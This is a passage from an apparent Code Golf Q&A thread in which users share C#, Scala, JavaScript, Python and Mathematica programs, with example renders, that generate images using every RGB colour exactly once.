(Integer.bitCount(t.x | t.y)) - (Integer.bitCount(t1.x | t1.y)); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } ``` ![enter image description here](https://i.stack.imgur.com/xiDig.jpg) [Answer] # C# Wow, really cool things in this challenge. I took a stab at this at in C# and generated a 4096x4096 image in about 3 minutes (i7 CPU) using every single color via Random Walk logic. Ok, so for the code. After being frustrated with hours of research and trying to generate every single HSL color using for loops in code, I settled for creating a flat file to read HSL colors from. What I did was create every single RGB color into a List, then I ordered by Hue, Luminosity, then Saturation. Then I saved the List to a text file. ColorData is just a small class I wrote that accepts an RGB color and also stores the HSL equivalent. This code is a HUGE RAM eater. Used about 4GB RAM lol. ``` public class RGB { public double R = 0; public double G = 0; public double B = 0; public override string ToString() { return "RGB:{" + (int)R + "," + (int)G + "," + (int)B + "}"; } } public class HSL { public double H = 0; public double S = 0; public double L = 0; public override string ToString() { return "HSL:{" + H + "," + S + "," + L + "}"; } } public class ColorData { public RGB rgb; public HSL hsl; public ColorData(RGB _rgb) { rgb = _rgb; var _hsl = ColorHelper._color_rgb2hsl(new double[]{rgb.R,rgb.G,rgb.B}); hsl = new HSL() { H = _hsl[0], S = _hsl[1], L = _hsl[2] }; } public ColorData(double[] _rgb) { rgb = new RGB() { R = _rgb[0], G = _rgb[1], B = _rgb[2] }; var _hsl = ColorHelper._color_rgb2hsl(_rgb); hsl = new HSL() { H = _hsl[0], S = _hsl[1], L = _hsl[2] }; } public override string ToString() { return rgb.ToString() + "|" + hsl.ToString(); } public int Compare(ColorData cd) { if (this.hsl.H > cd.hsl.H) { return 1; } if (this.hsl.H < cd.hsl.H) { return -1; } if (this.hsl.S > cd.hsl.S) { return 1; } if (this.hsl.S < cd.hsl.S) { return -1; } if (this.hsl.L > cd.hsl.L) { return 1; } if (this.hsl.L < cd.hsl.L) { return -1; } return 0; } } public static class ColorHelper { public static void MakeColorFile(string savePath) { List<ColorData> Colors = new List<ColorData>(); System.IO.File.Delete(savePath); for (int r = 0; r < 256; r++) { for (int g = 0; g < 256; g++) { for (int b = 0; b < 256; b++) { double[] rgb = new double[] { r, g, b }; ColorData cd = new ColorData(rgb); Colors.Add(cd); } } } Colors = Colors.OrderBy(x => x.hsl.H).ThenBy(x => x.hsl.L).ThenBy(x => x.hsl.S).ToList(); string cS = ""; using (System.IO.StreamWriter fs = new System.IO.StreamWriter(savePath)) { foreach (var cd in Colors) { cS = cd.ToString(); fs.WriteLine(cS); } } } public static IEnumerable<Color> NextColorHThenSThenL() { HashSet<string> used = new HashSet<string>(); double rMax = 720; double gMax = 700; double bMax = 700; for (double r = 0; r <= rMax; r++) { for (double g = 0; g <= gMax; g++) { for (double b = 0; b <= bMax; b++) { double h = (r / (double)rMax); double s = (g / (double)gMax); double l = (b / (double)bMax); var c = _color_hsl2rgb(new double[] { h, s, l }); Color col = Color.FromArgb((int)c[0], (int)c[1], (int)c[2]); string key = col.R + "-" + col.G + "-" + col.B; if (!used.Contains(key)) { used.Add(key); yield return col; } else { continue; } } } } } public static Color HSL2RGB(double h, double s, double l){ double[] rgb= _color_hsl2rgb(new double[] { h, s, l }); return Color.FromArgb((int)rgb[0], (int)rgb[1], (int)rgb[2]); } public static double[] _color_rgb2hsl(double[] rgb) { double r = rgb[0]; double g = rgb[1]; double b = rgb[2]; double min = Math.Min(r, Math.Min(g, b)); double max = Math.Max(r, Math.Max(g, b)); double delta = max - min; double l = (min + max) / 2.0; double s = 0; if (l > 0 && l < 1) { s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l)); } double h = 0; if (delta > 0) { if (max == r && max != g) h += (g - b) / delta; if (max == g && max != b) h += (2 + (b - r) / delta); if (max == b && max != r) h += (4 + (r - g) / delta); h /= 6; } return new double[] { h, s, l }; } public static double[] _color_hsl2rgb(double[] hsl) { double h = hsl[0]; double s = hsl[1]; double l = hsl[2]; double m2 = (l <= 0.5) ? l * (s + 1) : l + s - l * s; double m1 = l * 2 - m2; return new double[]{255*_color_hue2rgb(m1, m2, h + 0.33333), 255*_color_hue2rgb(m1, m2, h), 255*_color_hue2rgb(m1, m2, h - 0.33333)}; } public static double _color_hue2rgb(double m1, double m2, double h) { h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h); if (h * (double)6 < 1) return m1 + (m2 - m1) * h * (double)6; if (h * (double)2 < 1) return m2; if (h * (double)3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * (double)6; return m1; } } ``` With that out of the way. I wrote a class to get the next color from the generated file. It lets you set the hue start and hue end. In reality, that could and should probably be generalized to whichever dimension the file was sorted by first. Also I realize that for a performance boost here, I could have just put the RGB values into the file and kept each line at a fixed length. That way I could have easily specified the byte offset instead of looping through every line until I reached the line I wanted to start at. But it wasn't that much of a performance hit for me. But here's that class ``` public class HSLGenerator { double hEnd = 1; double hStart = 0; double colCount = 256 * 256 * 256; public static Color ReadRGBColorFromLine(string line) { string sp1 = line.Split(new string[] { "RGB:{" }, StringSplitOptions.None)[1]; string sp2 = sp1.Split('}')[0]; string[] sp3 = sp2.Split(','); return Color.FromArgb(Convert.ToInt32(sp3[0]), Convert.ToInt32(sp3[1]), Convert.ToInt32(sp3[2])); } public IEnumerable<Color> GetNextFromFile(string colorFile) { int currentLine = -1; int startLine = Convert.ToInt32(hStart * colCount); int endLine = Convert.ToInt32(hEnd * colCount); string line = ""; using(System.IO.StreamReader sr = new System.IO.StreamReader(colorFile)) { while (!sr.EndOfStream) { line = sr.ReadLine(); currentLine++; if (currentLine < startLine) //begin at correct offset { continue; } yield return ReadRGBColorFromLine(line); if (currentLine > endLine) { break; } } } HashSet<string> used = new HashSet<string>(); public void SetHueLimits(double hueStart, double hueEnd) { hEnd = hueEnd; hStart = hueStart; } } ``` So now that we have the color file, and we have a way to read the file, we can now actually make the image. I used a class I found to boost performance of setting pixels in a bitmap, called LockBitmap. [LockBitmap source](http://www.codeproject.com/Tips/240428/Work-with-bitmap-faster-with-Csharp) I created a small Vector2 class to store coordinate locations ``` public class Vector2 { public int X = 0; public int Y = 0; public Vector2(int x, int y) { X = x; Y = y; } public Vector2 Center() { return new Vector2(X / 2, Y / 2); } public override string ToString() { return X.ToString() + "-" + Y.ToString(); } } ``` And I also created a class called SearchArea, which was helpful for finding neighboring pixels. You specify the pixel you want to find neighbors for, the bounds to search within, and the size of the "neighbor square" to search. So if the size is 3, that means you're searching a 3x3 square, with the specified pixel right in the center. ``` public class SearchArea { public int Size = 0; public Vector2 Center; public Rectangle Bounds; public SearchArea(int size, Vector2 center, Rectangle bounds) { Center = center; Size = size; Bounds = bounds; } public bool IsCoordinateInBounds(int x, int y) { if (!IsXValueInBounds(x)) { return false; } if (!IsYValueInBounds(y)) { return false; } return true; } public bool IsXValueInBounds(int x) { if (x < Bounds.Left || x >= Bounds.Right) { return false; } return true; } public bool IsYValueInBounds(int y) { if (y < Bounds.Top || y >= Bounds.Bottom) { return false; } return true; } } ``` Here's the class that actually chooses the next neighbor. Basically there's 2 search modes. A) The full square, B) just the perimeter of the square. This was an optimization that I made to prevent searching the full square again after realizing the square was full. The DepthMap was a further optimization to prevent searching the same squares over and over again. However, I didn't fully optimize this. Every call to GetNeighbors will always do the full square search first. I know I could optimize this to only do the perimeter search after completing the initial full square. I just didn't get around to that optimization yet, and even without it the code is pretty fast. The commented out "lock" lines are because I was using Parallel.ForEach at one point, but realized I had to write more code than I wanted for that lol. ``` public class RandomWalkGenerator { HashSet<string> Visited = new HashSet<string>(); Dictionary<string, int> DepthMap = new Dictionary<string, int>(); Rectangle Bounds; Random rnd = new Random(); public int DefaultSearchSize = 3; public RandomWalkGenerator(Rectangle bounds) { Bounds = bounds; } private SearchArea GetSearchArea(Vector2 center, int size) { return new SearchArea(size, center, Bounds); } private List<Vector2> GetNeighborsFullSearch(SearchArea srchArea, Vector2 coord) { int radius = (int)Math.Floor((double)((double)srchArea.Size / (double)2)); List<Vector2> pixels = new List<Vector2>(); for (int rX = -radius; rX <= radius; rX++) { for (int rY = -radius; rY <= radius; rY++) { if (rX == 0 && rY == 0) { continue; } //not a new coordinate int x = rX + coord.X; int y = rY + coord.Y; if (!srchArea.IsCoordinateInBounds(x, y)) { continue; } var key = x + "-" + y; // lock (Visited) { if (!Visited.Contains(key)) { pixels.Add(new Vector2(x, y)); } } } } if (pixels.Count == 0) { int depth = 0; string vecKey = coord.ToString(); if (!DepthMap.ContainsKey(vecKey)) { DepthMap.Add(vecKey, depth); } else { depth = DepthMap[vecKey]; } var size = DefaultSearchSize + 2 * depth; var sA = GetSearchArea(coord, size); pixels = GetNeighborsPerimeterSearch(sA, coord, depth); } return pixels; } private Rectangle GetBoundsForPerimeterSearch(SearchArea srchArea, Vector2 coord) { int radius = (int)Math.Floor((decimal)(srchArea.Size / 2)); Rectangle r = new Rectangle(-radius + coord.X, -radius + coord.Y, srchArea.Size, srchArea.Size); return r; } private List<Vector2> GetNeighborsPerimeterSearch(SearchArea srchArea, Vector2 coord, int depth = 0) { string vecKey = coord.ToString(); if (!DepthMap.ContainsKey(vecKey)) { DepthMap.Add(vecKey, depth); } else { DepthMap[vecKey] = depth; } Rectangle bounds = GetBoundsForPerimeterSearch(srchArea, coord); List<Vector2> pixels = new List<Vector2>(); int depthMax = 1500; if (depth > depthMax) { return pixels; } int yTop = bounds.Top; int yBot = bounds.Bottom; //left to right scan for (int x = bounds.Left; x < bounds.Right; x++) { if (srchArea.IsCoordinateInBounds(x, yTop)) { var key = x + "-" + yTop; // lock (Visited) { if (!Visited.Contains(key)) { pixels.Add(new Vector2(x, yTop)); } } } if (srchArea.IsCoordinateInBounds(x, yBot)) { var key = x + "-" + yBot; // lock (Visited) { if (!Visited.Contains(key)) { pixels.Add(new Vector2(x, yBot)); } } } } int xLeft = bounds.Left; int xRight = bounds.Right; int yMin = bounds.Top + 1; int yMax = bounds.Bottom - 1; //top to bottom scan for (int y = yMin; y < yMax; y++) { if (srchArea.IsCoordinateInBounds(xLeft, y)) { var key = xLeft + "-" + y; // lock (Visited) { if (!Visited.Contains(key)) { pixels.Add(new Vector2(xLeft, y)); } } } if (srchArea.IsCoordinateInBounds(xRight, y)) { var key = xRight + "-" + y; // lock (Visited) { if (!Visited.Contains(key)) { pixels.Add(new Vector2(xRight, y)); } } } } if (pixels.Count == 0) { var size = srchArea.Size + 2; var sA = GetSearchArea(coord, size); pixels = GetNeighborsPerimeterSearch(sA, coord, depth + 1); } return pixels; } private List<Vector2> GetNeighbors(SearchArea srchArea, Vector2 coord) { return GetNeighborsFullSearch(srchArea, coord); } public Vector2 ChooseNextNeighbor(Vector2 coord) { SearchArea sA = GetSearchArea(coord, DefaultSearchSize); List<Vector2> neighbors = GetNeighbors(sA, coord); if (neighbors.Count == 0) { return null; } int idx = rnd.Next(0, neighbors.Count); Vector2 elm = neighbors.ElementAt(idx); string key = elm.ToString(); // lock (Visited) { Visited.Add(key); } return elm; } } ``` Ok great, so now here's the class that creates the image ``` public class RandomWalk { Rectangle Bounds; Vector2 StartPath = new Vector2(0, 0); LockBitmap LockMap; RandomWalkGenerator rwg; public int RandomWalkSegments = 1; string colorFile = ""; public RandomWalk(int size, string _colorFile) { colorFile = _colorFile; Bounds = new Rectangle(0, 0, size, size); rwg = new RandomWalkGenerator(Bounds); } private void Reset() { rwg = new RandomWalkGenerator(Bounds); } public void CreateImage(string savePath) { Reset(); Bitmap bmp = new Bitmap(Bounds.Width, Bounds.Height); LockMap = new LockBitmap(bmp); LockMap.LockBits(); if (RandomWalkSegments == 1) { RandomWalkSingle(); } else { RandomWalkMulti(RandomWalkSegments); } LockMap.UnlockBits(); bmp.Save(savePath); } public void SetStartPath(int X, int Y) { StartPath.X = X; StartPath.Y = Y; } private void RandomWalkMulti(int buckets) { int Buckets = buckets; int PathsPerSide = (Buckets + 4) / 4; List<Vector2> Positions = new List<Vector2>(); var w = Bounds.Width; var h = Bounds.Height; var wInc = w / Math.Max((PathsPerSide - 1),1); var hInc = h / Math.Max((PathsPerSide - 1),1); //top for (int i = 0; i < PathsPerSide; i++) { var x = Math.Min(Bounds.Left + wInc * i, Bounds.Right - 1); Positions.Add(new Vector2(x, Bounds.Top)); } //bottom for (int i = 0; i < PathsPerSide; i++) { var x = Math.Max(Bounds.Right -1 - wInc * i, 0); Positions.Add(new Vector2(x, Bounds.Bottom - 1)); } //right and left for (int i = 1; i < PathsPerSide - 1; i++) { var y = Math.Min(Bounds.Top + hInc * i, Bounds.Bottom - 1); Positions.Add(new Vector2(Bounds.Left, y)); Positions.Add(new Vector2(Bounds.Right - 1, y)); } Positions = Positions.OrderBy(x => Math.Atan2(x.X, x.Y)).ToList(); double cnt = 0; List<IEnumerator<bool>> _execs = new List<IEnumerator<bool>>(); foreach (Vector2 startPath in Positions) { double pct = cnt / (Positions.Count); double pctNext = (cnt + 1) / (Positions.Count); var enumer = RandomWalkHueSegment(pct, pctNext, startPath).GetEnumerator(); _execs.Add(enumer); cnt++; } bool hadChange = true; while (hadChange) { hadChange = false; foreach (var e in _execs) { if (e.MoveNext()) { hadChange = true; } } } } private IEnumerable<bool> RandomWalkHueSegment(double hueStart, double hueEnd, Vector2 startPath) { var colors = new HSLGenerator(); colors.SetHueLimits(hueStart, hueEnd); var colorFileEnum = colors.GetNextFromFile(colorFile).GetEnumerator(); Vector2 coord = new Vector2(startPath.X, startPath.Y); LockMap.SetPixel(coord.X, coord.Y, ColorHelper.HSL2RGB(0, 0, 0)); while (true) { if (!colorFileEnum.MoveNext()) { break; } var rgb = colorFileEnum.Current; coord = ChooseNextNeighbor(coord); if (coord == null) { break; } LockMap.SetPixel(coord.X, coord.Y, rgb); yield return true; } } private void RandomWalkSingle() { Vector2 coord = new Vector2(StartPath.X, StartPath.Y); LockMap.SetPixel(coord.X, coord.Y, ColorHelper.HSL2RGB(0, 0, 0)); int cnt = 1; var colors = new HSLGenerator(); var colorFileEnum = colors.GetNextFromFile(colorFile).GetEnumerator(); while (true) { if (!colorFileEnum.MoveNext()) { return; } var rgb = colorFileEnum.Current; var newCoord = ChooseNextNeighbor(coord); coord = newCoord; if (newCoord == null) { return; } LockMap.SetPixel(newCoord.X, newCoord.Y, rgb); cnt++; } } private Vector2 ChooseNextNeighbor(Vector2 coord) { return rwg.ChooseNextNeighbor(coord); } } ``` And here's an example implementation: ``` class Program { static void Main(string[] args) { { // ColorHelper.MakeColorFile(); // return; } string colorFile = "colors.txt"; var size = new Vector2(1000,1000); var ctr = size.Center(); RandomWalk r = new RandomWalk(size.X,colorFile); r.RandomWalkSegments = 8; r.SetStartPath(ctr.X, ctr.Y); r.CreateImage("test.bmp"); } } ``` If RandomWalkSegments = 1, then it basically just starts walking wherever you tell it to, and begins at the first first color in the file. It's not the cleanest code I'll admit, but it runs pretty fast! [![Cropped Output](https://i.stack.imgur.com/rSH7Z.jpg)](https://i.stack.imgur.com/rSH7Z.jpg) [![3 Paths](https://i.stack.imgur.com/cg2dV.jpg)](https://i.stack.imgur.com/cg2dV.jpg) [![128 Paths](https://i.stack.imgur.com/phXbQ.jpg)](https://i.stack.imgur.com/phXbQ.jpg) EDIT: So I've been learning about OpenGL and Shaders. I generated a 4096x4096 using every color blazing fast on the GPU with 2 simple shader scripts. The output is boring, but figured somebody might find this interesting and come up with some cool ideas: Vertex Shader ``` attribute vec3 a_position; varying vec2 vTexCoord; void main() { vTexCoord = (a_position.xy + 1) / 2; gl_Position = vec4(a_position, 1); } ``` Frag Shader ``` void main(void){ int num = int(gl_FragCoord.x*4096.0 + gl_FragCoord.y); int h = num % 256; int s = (num/256) % 256; int l = ((num/256)/256) % 256; vec4 hsl = vec4(h/255.0,s/255.0,l/255.0,1.0); gl_FragColor = hsl_to_rgb(hsl); // you need to implement a conversion method } ``` Edit (10/15/16) : Just wanted to show a proof of concept of a genetic algorithm. I am STILL running this code 24 hours later on a 100x100 set of random colors, but so far the output is beautiful! [![enter image description here](https://i.stack.imgur.com/aBwAw.png)](https://i.stack.imgur.com/aBwAw.png) Edit (10/26/16): Ive been running the genetic algorithm code for 12 days now..and its still optimizing the output. Its basically converged to some local minimum but it apparently is finding more improvement still: [![enter image description here](https://i.stack.imgur.com/WhrZ1.png)](https://i.stack.imgur.com/WhrZ1.png) Edit: 8/12/17 - I wrote a new random walk algorithm - basically you specify a number of "walkers", but instead of walking randomly - they will randomly choose another walker and either avoid them (choose the next available pixel furthest away) - or walk towards them (choose the next available pixel closest to them). An example grayscale output is here (I will be doing a full 4096x4096 color render after I wire up the coloring!) : [![enter image description here](https://i.stack.imgur.com/gmu5c.jpg)](https://i.stack.imgur.com/gmu5c.jpg) [Answer] # Scala I order all of the colors by walking a 3-dimensional [Hilbert Curve](http://en.wikipedia.org/wiki/Hilbert_curve) via an [L-System](http://en.wikipedia.org/wiki/L-system). I then walk the pixels in the output image along a 2-dimensional Hilbert Curve and lay out all of the colors. 512 x 512 output: ![enter image description here](https://i.stack.imgur.com/Sh0lH.png) Here's the code. Most of it covers just the logic and math of moving through three dimensions via pitch/roll/yaw. I'm sure there was a better way to do that part, but oh well. ``` import scala.annotation.tailrec import java.awt.image.BufferedImage import javax.imageio.ImageIO import java.io.File object AllColors { case class Vector(val x: Int, val y: Int, val z: Int) { def applyTransformation(m: Matrix): Vector = { Vector(m.r1.x * x + m.r1.y * y + m.r1.z * z, m.r2.x * x + m.r2.y * y + m.r2.z * z, m.r3.x * x + m.r3.y * y + m.r3.z * z) } def +(v: Vector): Vector = { Vector(x + v.x, y + v.y, z + v.z) } def unary_-(): Vector = Vector(-x, -y, -z) } case class Heading(d: Vector, s: Vector) { def roll(positive: Boolean): Heading = { val (axis, b) = getAxis(d) Heading(d, s.applyTransformation(rotationAbout(axis, !(positive ^ b)))) } def yaw(positive: Boolean): Heading = { val (axis, b) = getAxis(s) Heading(d.applyTransformation(rotationAbout(axis, positive ^ b)), s) } def pitch(positive: Boolean): Heading = { if (positive) { Heading(s, -d) } else { Heading(-s, d) } } def applyCommand(c: Char): Heading = c match { case '+' => yaw(true) case '-' => yaw(false) case '^' => pitch(true) case 'v' => pitch(false) case '>' => roll(true) case '<' => roll(false) } } def getAxis(v: Vector): (Char, Boolean) = v match { case Vector(1, 0, 0) => ('x', true) case Vector(-1, 0, 0) => ('x', false) case Vector(0, 1, 0) => ('y', true) case Vector(0, -1, 0) => ('y', false) case Vector(0, 0, 1) => ('z', true) case Vector(0, 0, -1) => ('z', false) } def rotationAbout(axis: Char, positive: Boolean) = (axis, positive) match { case ('x', true) => XP case ('x', false) => XN case ('y', true) => YP case ('y', false) => YN case ('z', true) => ZP case ('z', false) => ZN } case class Matrix(val r1: Vector, val r2: Vector, val r3: Vector) val ZP = Matrix(Vector(0,-1,0),Vector(1,0,0),Vector(0,0,1)) val ZN = Matrix(Vector(0,1,0),Vector(-1,0,0),Vector(0,0,1)) val XP = Matrix(Vector(1,0,0),Vector(0,0,-1),Vector(0,1,0)) val XN = Matrix(Vector(1,0,0),Vector(0,0,1),Vector(0,-1,0)) val YP = Matrix(Vector(0,0,1),Vector(0,1,0),Vector(-1,0,0)) val YN = Matrix(Vector(0,0,-1),Vector(0,1,0),Vector(1,0,0)) @tailrec def applyLSystem(current: Stream[Char], rules: Map[Char, List[Char]], iterations: Int): Stream[Char] = { if (iterations == 0) { current } else { val nextStep = current flatMap { c => rules.getOrElse(c, List(c)) } applyLSystem(nextStep, rules, iterations - 1) } } def walk(x: Vector, h: Heading, steps: Stream[Char]): Stream[Vector] = steps match { case Stream() => Stream(x) case 'f' #:: rest => x #:: walk(x + h.d, h, rest) case c #:: rest => walk(x, h.applyCommand(c), rest) } def hilbert3d(n: Int): Stream[Vector] = { val rules = Map('x' -> "^>x<f+>>x<<f>>x<<+fvxfxvf+>>x<<f>>x<<+f>x<^".toList) val steps = applyLSystem(Stream('x'), rules, n) filterNot (_ == 'x') walk(Vector(0, 0, 0), Heading(Vector(1, 0, 0), Vector(0, 1, 0)), steps) } def hilbert2d(n: Int): Stream[Vector] = { val rules = Map('a' -> "-bf+afa+fb-".toList, 'b' -> "+af-bfb-fa+".toList) val steps = applyLSystem(Stream('a'), rules, n) filterNot (c => c == 'a' || c == 'b') walk(Vector(0, 0, 0), Heading(Vector(1, 0, 0), Vector(0, 0, 1)), steps) } def main(args: Array[String]): Unit = { val n = 4 val img = new BufferedImage(1 << (3 * n), 1 << (3 * n), BufferedImage.TYPE_INT_RGB) hilbert3d(n * 2).zip(hilbert2d(n * 3)) foreach { case (Vector(r,g,b), Vector(x,y,_)) => img.setRGB(x, y, (r << (24 - 2 * n)) | (g << (16 - 2 * n)) | (b << (8 - 2 * n))) } ImageIO.write(img, "png", new File(s"out_$n.png")) } } ``` [Answer] # HTML5 canvas + JavaScript I call it randoGraph and you can create as many you want [here](http://www.logikon.net/randograph) Some examples: ![example 1](https://i.stack.imgur.com/TrsEU.png) ![example 2](https://i.stack.imgur.com/oUrJy.png) ![example 3](https://i.stack.imgur.com/smQCF.png) ![example 4](https://i.stack.imgur.com/YGF8F.png) ![example 5](https://i.stack.imgur.com/03MZj.png) ![example 6](https://i.stack.imgur.com/THUzY.png) ![example 7](https://i.stack.imgur.com/WYim8.png) For example in Firefox you can right click in the canvas (when it finish) and save it as image . Producing 4096x4096 image is a kind of problem due to some browsers memory limit. The idea is quite simple but each image is unique. First we create the palette of colors. Then starting by X points we select random colors from the palette and positions for them (each time we select a color we delete it from the palette) and we record where we put it not to put in the same position next pixel. For every pixel that is tangent to that we create a number (X) of possible colors and then we select the most relevant to that pixel. This goes on until the image is complete. The HTML code ``` <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" lang="el"> <head> <script type="text/javascript" src="randoGraph.js"></script> </head> <body> <canvas id="randoGraphCanvas"></canvas> </body> </html> ``` And the JavaScript for randoGraph.js ``` window.onload=function(){ randoGraphInstance = new randoGraph("randoGraphCanvas",256,128,1,1); randoGraphInstance.setRandomness(500, 0.30, 0.11, 0.59); randoGraphInstance.setProccesses(10); randoGraphInstance.init(); } function randoGraph(canvasId,width,height,delay,startings) { this.pixels = new Array(); this.colors = new Array(); this.timeouts = new Array(); this.randomFactor = 500; this.redFactor = 0.30; this.blueFactor = 0.11; this.greenFactor = 0.59; this.processes = 1; this.canvas = document.getElementById(canvasId); this.pixelsIn = new Array(); this.stopped = false; this.canvas.width = width; this.canvas.height = height; this.context = this.canvas.getContext("2d"); this.context.clearRect(0,0, width-1 , height-1); this.shadesPerColor = Math.pow(width * height, 1/3); this.shadesPerColor = Math.round(this.shadesPerColor * 1000) / 1000; this.setRandomness = function(randomFactor,redFactor,blueFactor,greenFactor) { this.randomFactor = randomFactor; this.redFactor = redFactor; this.blueFactor = blueFactor; this.greenFactor = greenFactor; } this.setProccesses = function(processes) { this.processes = processes; } this.init = function() { if(this.shadesPerColor > 256 || this.shadesPerColor % 1 > 0) { alert("The dimensions of the image requested to generate are invalid. The product of width multiplied by height must be a cube root of a integer number up to 256."); } else { var steps = 256 / this.shadesPerColor; for(red = steps / 2; red <= 255;) { for(blue = steps / 2; blue <= 255;) { for(green = steps / 2; green <= 255;) { this.colors.push(new Color(Math.round(red),Math.round(blue),Math.round(green))); green = green + steps; } blue = blue + steps; } red = red + steps; } for(var i = 0; i < startings; i++) { var color = this.colors.splice(randInt(0,this.colors.length - 1),1)[0]; var pixel = new Pixel(randInt(0,width - 1),randInt(0,height - 1),color); this.addPixel(pixel); } for(var i = 0; i < this.processes; i++) { this.timeouts.push(null); this.proceed(i); } } } this.proceed = function(index) { if(this.pixels.length > 0) { this.proceedPixel(this.pixels.splice(randInt(0,this.pixels.length - 1),1)[0]); this.timeouts[index] = setTimeout(function(that){ if(!that.stopped) { that.proceed(); } },this.delay,this); } } this.proceedPixel = function(pixel) { for(var nx = pixel.getX() - 1; nx < pixel.getX() + 2; nx++) { for(var ny = pixel.getY() - 1; ny < pixel.getY() + 2; ny++) { if(! (this.pixelsIn[nx + "x" + ny] == 1 || ny < 0 || nx < 0 || nx > width - 1 || ny > height - 1 || (nx == pixel.getX() && ny == pixel.getY())) ) { var color = this.selectRelevantColor(pixel.getColor()); var newPixel = new Pixel(nx,ny,color); this.addPixel(newPixel); } } } } this.selectRelevantColor = function(color) { var relevancies = new Array(); var relColors = new Array(); for(var i = 0; i < this.randomFactor && i < this.colors.length; i++) { var index = randInt(0,this.colors.length - 1); var c = this.colors[index]; var relevancy = Math.pow( ((c.getRed()-color.getRed()) * this.redFactor) , 2) + Math.pow( ((c.getBlue()-color.getBlue()) * this.blueFactor), 2) + Math.pow( ((c.getGreen()-color.getGreen()) * this.greenFactor) , 2); relevancies.push(relevancy); relColors[relevancy+"Color"] = index; } return this.colors.splice(relColors[relevancies.min()+"Color"],1)[0] } this.addPixel = function(pixel) { this.pixels.push(pixel); this.pixelsIn[pixel.getX() + "x" + pixel.getY() ] = 1; var color = pixel.getColor(); this.context.fillStyle = "rgb("+color.getRed()+","+color.getBlue()+","+color.getGreen()+")"; this.context.fillRect( pixel.getX(), pixel.getY(), 1, 1); } var toHex = function toHex(num) { num = Math.round(num); var hex = num.toString(16); return hex.length == 1 ? "0" + hex : hex; } this.clear = function() { this.stopped = true; } } function Color(red,blue,green) { this.getRed = function() { return red; } this.getBlue = function() { return blue; } this.getGreen = function() { return green; } } function Pixel(x,y,color) { this.getX = function() { return x; } this.getY = function() { return y; } this.getColor = function() { return color; } } function randInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } // @see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min Array.prototype.min = function() { return Math.min.apply(null, this); }; // @see http://stackoverflow.com/questions/5223/length-of-javascript-object-ie-associative-array Object.size = function(obj) { var size = 0, key; for (key in obj) { if (obj.hasOwnProperty(key)) size++; } return size; }; ``` [Answer] ## Python So here's my solution in python, it takes almost an hour to make one, so there's probably some optimization to be done: ``` import PIL.Image as Image from random import shuffle import math def mulColor(color, factor): return (int(color[0]*factor), int(color[1]*factor), int(color[2]*factor)) def makeAllColors(arg): colors = [] for r in range(0, arg): for g in range(0, arg): for b in range(0, arg): colors.append((r, g, b)) return colors def distance(color1, color2): return math.sqrt(pow(color2[0]-color1[0], 2) + pow(color2[1]-color1[1], 2) + pow(color2[2]-color1[2], 2)) def getClosestColor(to, colors): closestColor = colors[0] d = distance(to, closestColor) for color in colors: if distance(to, color) < d: closestColor = color d = distance(to, closestColor) return closestColor imgsize = (256, 128) #imgsize = (10, 10) colors = makeAllColors(32) shuffle(colors) factor = 255.0/32.0 img = Image.new("RGB", imgsize, "white") #start = (imgsize[0]/4, imgsize[1]/4) start = (imgsize[0]/2, 0) startColor = colors.pop() img.putpixel(start, mulColor(startColor, factor)) #color = getClosestColor(startColor, colors) #img.putpixel((start[0]+1, start[1]), mulColor(color, factor)) edgePixels = [(start, startColor)] donePositions = [start] for pixel in edgePixels: if len(colors) > 0: color = getClosestColor(pixel[1], colors) m = [(pixel[0][0]-1, pixel[0][1]), (pixel[0][0]+1, pixel[0][2]), (pixel[0][0], pixel[0][3]-1), (pixel[0][0], pixel[0][4]+1)] if len(donePositions) >= imgsize[0]*imgsize[1]: #if len(donePositions) >= 100: break for pos in m: if (not pos in donePositions): if not (pos[0]<0 or pos[1]<0 or pos[0]>=img.size[0] or pos[1]>=img.size[1]): img.putpixel(pos, mulColor(color, factor)) #print(color) donePositions.append(pos) edgePixels.append((pos, color)) colors.remove(color) if len(colors) > 0: color = getClosestColor(pixel[1], colors) print((len(donePositions) * 1.0) / (imgsize[0]*imgsize[1])) print len(donePositions) img.save("colors.png") ``` Here are some example outputs: ![enter image description here](https://i.stack.imgur.com/qdR8N.png) ![enter image description here](https://i.stack.imgur.com/oZfIc.png) ![enter image description here](https://i.stack.imgur.com/7jgYG.png) ![enter image description here](https://i.stack.imgur.com/QEFUr.png) ![enter image description here](https://i.stack.imgur.com/DBZdx.png) [Answer] ## Mathematica ``` colors = Table[ r = y*256 + x; {BitAnd[r, 2^^111110000000000]/32768., BitAnd[r, 2^^1111100000]/1024., BitAnd[r, 2^^11111]/32.}, {y, 0, 127}, {x, 0, 255}]; SeedRandom[1337]; maxi = 5000000; Monitor[For[i = 0, i < maxi, i++, x1 = RandomInteger[{2, 255}]; x2 = RandomInteger[{2, 255}]; y1 = RandomInteger[{2, 127}]; y2 = RandomInteger[{2, 127}]; c1 = colors[[y1, x1]]; c2 = colors[[y2, x2]]; ca1 = (colors[[y1 - 1, x1]] + colors[[y1, x1 - 1]] + colors[[y1 + 1, x1]] + colors[[y1, x1 + 1]])/4.; ca2 = (colors[[y2 - 1, x2]] + colors[[y2, x2 - 1]] + colors[[y2 + 1, x2]] + colors[[y2, x2 + 1]])/4.; d1 = Abs[c1[[1]] - ca1[[1]]] + Abs[c1[[2]] - ca1[[2]]] + Abs[c1[[3]] - ca1[[3]]]; d1p = Abs[c2[[1]] - ca1[[1]]] + Abs[c2[[2]] - ca1[[2]]] + Abs[c2[[3]] - ca1[[3]]]; d2 = Abs[c2[[1]] - ca2[[1]]] + Abs[c2[[2]] - ca2[[2]]] + Abs[c2[[3]] - ca2[[3]]]; d2p = Abs[c1[[1]] - ca2[[1]]] + Abs[c1[[2]] - ca2[[2]]] + Abs[c1[[3]] - ca2[[3]]]; If[(d1p + d2p < d1 + d2) || (RandomReal[{0, 1}] < Exp[-Log10[i]*(d1p + d2p - (d1 + d2))] && i < 1000000), temp = colors[[y1, x1]]; colors[[y1, x1]] = colors[[y2, x2]]; colors[[y2, x2]] = temp ] ], ProgressIndicator[i, {1, maxi}]] Image[colors] ``` Result (2x): ![256x128 2x](https://i.stack.imgur.com/S0tzc.png) [Original 256x128 image](http://postimg.org/image/7heb6dai5/ "Original 256x128 image") **Edit:** by replacing Log10[i] with Log10[i]/5 you get: ![enter 